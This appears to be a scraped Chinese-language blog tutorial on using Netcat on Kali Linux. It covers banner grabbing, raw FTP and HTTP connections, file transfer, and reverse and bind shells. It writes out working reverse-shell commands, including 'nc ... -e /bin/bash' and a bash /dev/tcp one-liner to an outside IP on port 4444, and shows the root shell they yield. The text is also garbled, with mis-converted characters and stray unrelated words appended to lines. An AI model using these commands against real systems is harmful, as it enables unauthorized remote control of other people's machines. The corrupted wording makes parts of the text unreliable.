Kali Linux Netcat 學習 與 網絡攻擊

Netcat 網絡攻擊 以及 應用

1.用Netcat進行黑客攻擊第1部分:基礎知識

Netcat是一個很好的網絡實用程序,用於使用TCP和UPD協議讀取和寫入網絡鏈接。Netcat一般被稱爲網絡工具中的瑞士軍刀,咱們將在使用黑客教程的不一樣教程中大量使用它。Netcat最多見的用途是設置反向和綁定shell,管道和重定向網絡流量,端口偵聽,調試程序和腳本以及Banner抓取。在本教程中,咱們將學習如何使用Netcat的基本功能,如:
Banner抓取 原始鏈接 Web服務器交互html

1.1 Netcat Banner獲取nginx

使用如下命令來獲取服務器Banner(與服務創建原始鏈接):

nc [ip address] [port]
咱們來試試這個在21端口運行的Metasploitable 2上的FTP服務:

nc 192.168.1.100 21
nc [ip] [port]用於與端口進行原始鏈接,當可用時將返回服務器Banner。
code:
 rocky@kail: nc 23.105.202.xx 21   # 21 ftp 控制連接
 220 (vsFTPd 2.2.2)       # 系統服務 banner

1.2 Netcat原鏈接shell

爲了演示原始鏈接的工做原理,咱們將在FTP服務鏈接到目標主機後發出一些FTP命令。
在匿名的狀況下,咱們來看看這個FTP服務器是否容許匿名訪問,經過USER和PASS命令。
code:
    rocky@kail: nc 23.105.202.xx 21
    220 (vsFTPd 2.2.2)
    user ligang
    331 Please specify the password.

1.3 Web服務器交互編程

Netcat還能夠經過發出HTTP請求與Web服務器進行交互。
經過如下命令,咱們能夠抓住在Metasploitable 2上運行的Web服務的Banner:

nc 23.105.202.xx 80

而後運行此HTTP請求:安全

HEAD / HTTP / 1.0
rocky@kail: nc 23.105.202.xx 80
HEAD / HTTP / 1.0          << 輸入
HTTP/1.1 400 Bad Request
Server: nginx/1.12.0
Date: Sun, 28 May 2017 08:06:19 GMT
Content-Type: text/html
Content-Length: 173
Connection: close

1.4 使用Netcat進行文件傳輸bash

在這個例子中,咱們將使用Netcat鏈接傳輸一個文本文件。假設咱們在目標主機上執行遠程命令,咱們但願將文件從攻擊主機傳輸到目標主機。首先,咱們須要在目標主機上設置一個偵聽器,並從攻擊主機鏈接到它。咱們將使用端口8080用於此目的,咱們將該文件安全保存到桌面:服務器

nc -lvp 8080> 1.txt

在攻擊主機上,咱們鏈接到8080端口併發送文件名稱transfer.txt:網絡

nc 192.168.100.107 8080 < 1.txt

2 用Netcat進行黑客攻擊第2部分:綁定和反向shell

Netcat反向reverse shell併發

在滲透測試中,最多見,或者最受歡迎的用法是反向 reverse shell和正向bind shell。反向shell是從目標主機發起處處於監聽狀態的攻擊機器的shell鏈接方式,又叫被動鏈接,而正向bind shell是攻擊主機經過特定的端口進行偵聽目標主機即將到來的鏈接。在惡意軟件中,bind shell又一般被稱爲後門。tcp

在下面的內容中咱們將展現使用bind shell和reverse shell。下面將使用4444端口,但請注意,這能夠是任何開放端口。實際上,一般您須要使用更常見的端口,如80和443來設置反向shell,由於這些端口是更常見的打開。

NC reverse shell 工做原理:
NC reverse shel

攻擊主機A執行:
    nc -lvp 4444        ; 監聽被攻擊者連接
被攻擊主機B執行:
    nc  xxx.xxx.xxx.xxx  4444 -e /bin/bash ; 將bash shell 權限提供給攻擊者 實現控制權限的轉移;

實現通訊後:

在攻擊主機A上執行命令,便可操做被攻擊者B

缺點:
此時被攻擊者B 須要使用Netcat命令, 並且普通 GNU Linux nc 並無 -e { -e filename program to exec after connect [dangerous]} 參數; 顧此種反向連接並不適用;

2.1 使用Bash 來代替Nc實現反向連接;

被攻擊主機B:
    bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
攻擊者A:
    nc -lvp 4444
A機代碼:
[root@virtualS ~]# nc -lvp 4444
Connection from 111.15.33.114:17835      ## 此時B機執行轉移指令 bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~#
root@kailvirtual:~# id
id
uid=0(root) gid=0(root) groups=0(root)
root@kailvirtual:~#
bash -i>& /dev/tcp/23.105.202.xx/4444 0>&1 

命令解釋:
    bash:
        -i  if the -i option is present, the shell is interactive
    
    shell:
        0/1/2 分別表明Linux標準輸入,輸出,異常 即 C編程中的 stdin, stdout, stderr
    
    0>&1   指 將標準輸入徹底輸出到標準輸出中; 
        採用&能夠將 0/1 綁定在一塊兒。這條命令的做用標準輸入將和標準輸出同用一個文件描述符,說人話就是錯誤輸入將會和標準輸出輸出到同一個地方。

2.2 Netcat正向bind Shell

bind shell是一個綁定到目標主機上的特定端口以監聽即將到來的鏈接的shell。咱們來看看一個Netcat正向bind shell的原理:

Nc Bind Shell

攻擊主機A:
    rocky@mac: nc 192.168.1.9 4444
    
    id
    uid=0(root) gid=0(root) groups=0(root)
    
    
    echo $HOSTNAME
    kailvirtual

相同點:
咱們都須要被攻擊者將其shell控制權限交給咱們
將shell command 以數據流的形式重定向到被攻擊主機的Bash shell中;

更多Nc 學習參照連接

相關文章
相關標籤/搜索